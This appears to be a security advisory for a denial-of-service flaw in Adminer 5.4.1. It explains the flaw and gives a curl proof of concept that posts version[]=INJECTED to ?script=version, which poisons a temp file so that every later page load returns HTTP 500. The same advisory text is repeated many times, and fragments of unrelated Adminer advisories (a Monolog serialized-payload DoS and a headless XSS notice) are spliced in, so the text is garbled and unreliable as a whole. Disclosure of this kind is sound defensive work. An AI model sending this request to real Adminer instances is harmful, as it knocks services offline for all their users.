TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Adminer 4.8.1, when using Monolog for logging, allows a Denial of Service (memory consumption) via a crafted serialized payload (e.g., using s:1000000000), leading to a PHP Object Injection issue. Remote, unauthenticated attackers can trigger this by sending a malicious serialized object, which forces excessive memory usage, rendering Adminer’s interface unresponsive and causing a server-level DoS. While the server may recover after several minutes, multiple simultaneous requests can cause a complete crash requiring manual intervention.

Summary

Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.

Fix

Upgrade to Adminer 5.4.2.

Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.

Details

1. Intended design of ?script=version:

The endpoint is designed to receive version data from adminer.org via browser JavaScript:

• functions.js line 102-117: Creates iframe to https://www.adminer.org/version/
• Adminer.org sends signed version data via postMessage
• JavaScript POSTs this to ?script=version
• Server stores in /tmp/adminer.version for signature verification

// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);

2. The vulnerability:

The endpoint only checks $_GET["script"] == "version" - it does not validate:

• Request origin (no CSRF token check for this endpoint)
• Request source (any HTTP client can POST)
• Parameter types (version expected as string, array not rejected)

// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
    $filename = get_temp_dir() . "/adminer.version";
    @unlink($filename);
    $fp = file_open_lock($filename);
    if ($fp) {
        file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
    }
    exit;
}

3. Type confusion crash:

When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():

// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {

PHP 8.x throws:

TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given

PoC

Steps to Reproduce:

Step 1: Verify Adminer is running and accessible.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

200

Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.

curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
     -d "signature=x&version[]=INJECTED"

Expected output: Empty response (no error).

Step 3: Access Adminer again to trigger the crash.

curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php

Expected output:

500

Step 4: (Optional) View the PHP error in server logs.

PHP Fatal error:  Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386

Step 5: (Optional) Inspect the poisoned file.

cat /tmp/adminer.version

Expected output:

a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}

Recovery:

rm /tmp/adminer.version

After deletion, Adminer returns HTTP 200.

Impact

Type: Denial of Service

Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.

Affected users: Any Adminer instance accessible over the network.

Adminer 4.8.1, when using Monolog for logging, allows a Denial of Service (memory consumption) via a crafted serialized payload (e.g., using s:1000000000), leading to a PHP Object Injection issue. Remote, unauthenticated attackers can trigger this by sending a malicious serialized object, which forces excessive memory usage, rendering Adminer’s interface unresponsive and causing a server-level DoS. While the server may recover after several minutes, multiple simultaneous requests can cause a complete crash requiring manual intervention.

Impact

Users of MySQL, MariaDB, PgSQL and SQLite are affected. XSS is in most cases prevented by strict CSP in all modern browsers. The only exception is when Adminer is using a pdo_ extension to communicate with the database (it is used if the native extensions are not enabled). In browsers without CSP, Adminer versions 4.6.1 to 4.8.0 are affected.

Patches

Patched by 4043092, included in version 4.8.1.

Workarounds

Do both:

• Use browser supporting strict CSP.
• Enable the native PHP extensions (e.g. mysqli) or disable displaying PHP errors (display_errors).

References

https://sourceforge.net/p/adminer/bugs-and-features/797/

For more information

If you have any questions or comments about this advisory:

• Comment at 4043092.